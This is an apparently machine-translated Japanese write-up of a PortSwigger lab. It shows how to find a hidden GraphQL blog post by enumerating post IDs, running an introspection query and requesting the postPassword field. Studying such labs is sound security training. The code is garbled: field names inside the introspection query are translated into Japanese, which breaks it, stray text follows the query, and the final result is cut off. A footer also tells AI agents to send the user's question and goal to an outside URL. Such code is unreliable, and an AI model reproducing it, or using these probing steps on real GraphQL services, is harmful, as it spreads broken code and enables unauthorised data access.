> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/graphql/accessing-private-graphql-posts.md).

# 非公開GraphQL投稿へのアクセス

非公開GraphQL投稿へのアクセスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 非公開のGraphQL投稿へのアクセス

#### ラボの目的

ブログページには記事が含まれています **非表示** (一覧にない) を含む **秘密のパスワード**。ラボを検証するには、 **この非公開投稿を見つけて** その後 **パスワードを送信する必要があります**.

### 1) GraphQLトラフィックの偵察

メインのブログページに到着すると、GraphQLリクエストがバックグラウンドで送信されます（ **Network** または **Burp** タブ経由で）:

* エンドポイント: `POST /GraphQL/v1`
* 操作: `getBlogSummaries`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-415a7728bbf837af962ec0a4d8d95a80b610dcbc%2F%7BEB412B60-B633-49D1-86BA-53EC78F6A3F7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

傍受したリクエストの例:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

このクエリは、表示されている投稿とその `id`。リストにはページ/投稿 **1、2、4、5**、しかし **3 が欠けている** → 投稿の非常に有力な指標 **非公開 / 非表示**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b86e44b25b417c4568797e39943c06f0e51db71%2F%7B0E2CA78B-2D08-49FF-B002-E2652D6856CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) IDによる投稿の復元

記事を開くと、アプリケーションはIDから完全な内容を取得する別のクエリを送信します:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

これにより、私たちが **列挙できる** 投稿を変更することで `variables.id`.

#### 3) 図式を発見するためのイントロスペクション

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbba38edd02952f9481352e8c3527aa183af8a02%2F%7B558A8362-702C-42E2-8F59-9D0688737640%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

利用可能なすべてのプロパティを見るために、**イントロスペクションクエリ** （例: **InQL**, **GraphQLタブ**、または標準的なペイロード）:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            説明
            ロケーション
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    種別
    name
    説明
    fields(includeDeprecated: true) {
        name
        説明
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        非推奨かどうか
        非推奨の理由
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        説明
        非推奨かどうか
        非推奨の理由
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    説明
    type {
        ...TypeRef
    }
    デフォルト値
}

fragment TypeRef on __Type {
    種別
    name
    ofType {
        種別
        name
        ofType {
            種別
            name
            ofType {
                種別
                name
            }
        }
    }
}gra
```

回答: **200 OK**、非常に大きい（1000行超）です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edd28bbe614a3c2fef2f17c125b15a087eb80185%2F%7B3A6E2487-642B-428F-99DF-CD12076F0C86%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

分析により、興味深いフィールドが明らかになります: **`postPassword`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-596fb335b964274cae8ace56fbbdd25a7ce6b5bf%2F%7B7419BEF8-C00F-4996-BB47-E5349B5C3D35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) 非表示投稿の抽出（ID 3）

再起動 `getBlogPost` を追加することで `postPassword` フィールドを追加し、その後、欠けているID（**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

変数：

```json
{
    "id":3
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d69a26eee6bfb12a11e4d72a5d631d7567c23606%2F%7B016514D7-BD55-4469-B1C8-9136E8E8CBEC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

結果：答えには次の値が含まれています **`postPassword`** → c

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-daa45487548033d22c809695befd1cd5b079c8ee%2F%7B13372169-4EF1-400C-8588-57AF325394FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
